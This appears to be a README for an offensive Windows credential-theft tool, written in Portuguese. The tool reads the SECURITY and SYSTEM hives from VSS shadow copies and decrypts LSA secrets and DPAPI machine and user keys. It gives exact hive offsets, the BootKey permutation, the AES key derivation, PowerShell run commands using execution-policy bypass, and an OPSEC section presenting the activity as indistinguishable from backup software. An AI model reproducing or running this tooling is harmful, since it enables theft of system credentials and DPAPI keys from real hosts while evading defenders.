
Extrai segredos LSA e chaves DPAPI de hives do registro do Windows por meio de cópias de sombra VSS existentes ou recém-criadas, com um parser regf inline e descriptografia AES-256.
Extração de segredos LSA, reutilização de uma cópia de sombra VSS preexistente + parser regf inline + descriptografia LSA AES-256 via bcrypt.dll.
\GLOBAL?? via NtOpenDirectoryObject + NtQueryDirectoryObject. Escolher o HarddiskVolumeShadowCopyN com o número mais alto.SRSetRestorePointW(BEGIN_SYSTEM_CHANGE, DEVICE_DRIVER_INSTALL) de SrClient.dll.SeBackupPrivilege no token atual (AdjustTokenPrivileges).CreateFileW("\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\Windows\System32\config\{SECURITY,SYSTEM}", FILE_FLAG_BACKUP_SEMANTICS) e ler para byte[].regf inline analisa o hive: bloco base, tipos de célula nk/vk/lf/lh/li/ri/db/sk. Layout KeyNode, flags @0x02, lista de subchaves @0x1C, lista de valores @0x28, chave de segurança @0x2C, deslocamento de classe @0x30, comprimento do nome u16 @0x48, comprimento da classe u16 @0x4A (isto foi um bug na primeira passagem — a própria documentação da Microsoft é ambígua aqui), nome @0x4C.Class UTF-16 hex de ControlSet00N\Control\Lsa\{JD, Skew1, GBG, Data} → 16 bytes brutos → permutar com [8,5,4,2,11,9,13,3,0,6,1,12,14,10,15,7].Policy\PolEKList\(default) (172 bytes): salt = bytes[0x1C..0x3C]; tmpKey = SHA-256(BootKey || salt * 1000); pt = AES-256-CBC-decrypt(bytes[0x3C..], tmpKey, IV=0); chave LSA = pt[68..100].Policy\Secrets\<name>\CurrVal\(default): mesmo layout, salt-stretch com a chave LSA em vez da BootKey.DPAPI_SYSTEM: bytes[4..24] = MachineKey, bytes[24..44] = UserKey. Estes descriptografam todas as chaves mestras DPAPI com escopo SYSTEM no host.SrHollow/
├── README.md <- you are here
├── src/
│ └── SrHollow.cs <- inline regf parser + LSA AES crypto (~350 LOC, single file)
└── stages/
├── Stage1-Recon.ps1 <- read-only shadow enumeration
├── Stage1b-ReadShadowHives.ps1 <- auto-detect / auto-create shadow + slurp hives
├── Stage2-Decrypt.ps1 <- BootKey + LSA key + all secrets
└── Stage3-Report.ps1 <- formatted operator report with OPSEC footprint
src/SrHollow.cs tem zero dependências além de System.Security.Cryptography (que por sua vez faz proxy para bcrypt.dll). Compila tal como está via Add-Type ou csc.exe.
PowerShell elevado
# 1. Read-only recon, see what shadows already exist
powershell.exe -ep bypass -File .\stages\Stage1-Recon.ps1
# 2. Extract SECURITY + SYSTEM from the newest existing shadow
# (creates one via SRSetRestorePointW if none exist)
powershell.exe -ep bypass -File .\stages\Stage1b-ReadShadowHives.ps1
# 3. Derive BootKey + LSA key + decrypt every secret
powershell.exe -ep bypass -File .\stages\Stage2-Decrypt.ps1
# 4. (Optional) formatted operator report
powershell.exe -ep bypass -File .\stages\Stage3-Report.ps1
Requer: admin local (para SeBackupPrivilege), um serviço Volume Shadow Copy em execução ou iniciável (padrão no Windows 10/11).
Sinais atribuíveis deixados quando uma sombra já existe:
CreateFileW em \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\...AdjustTokenPrivileges ativando SeBackupPrivilegeSHA-256 + AES-CBC padrão via bcrypt.dll (userland, sem nada de notável)Este é o mesmo perfil de abertura de ficheiros que a maioria dos agentes de backup legítimos.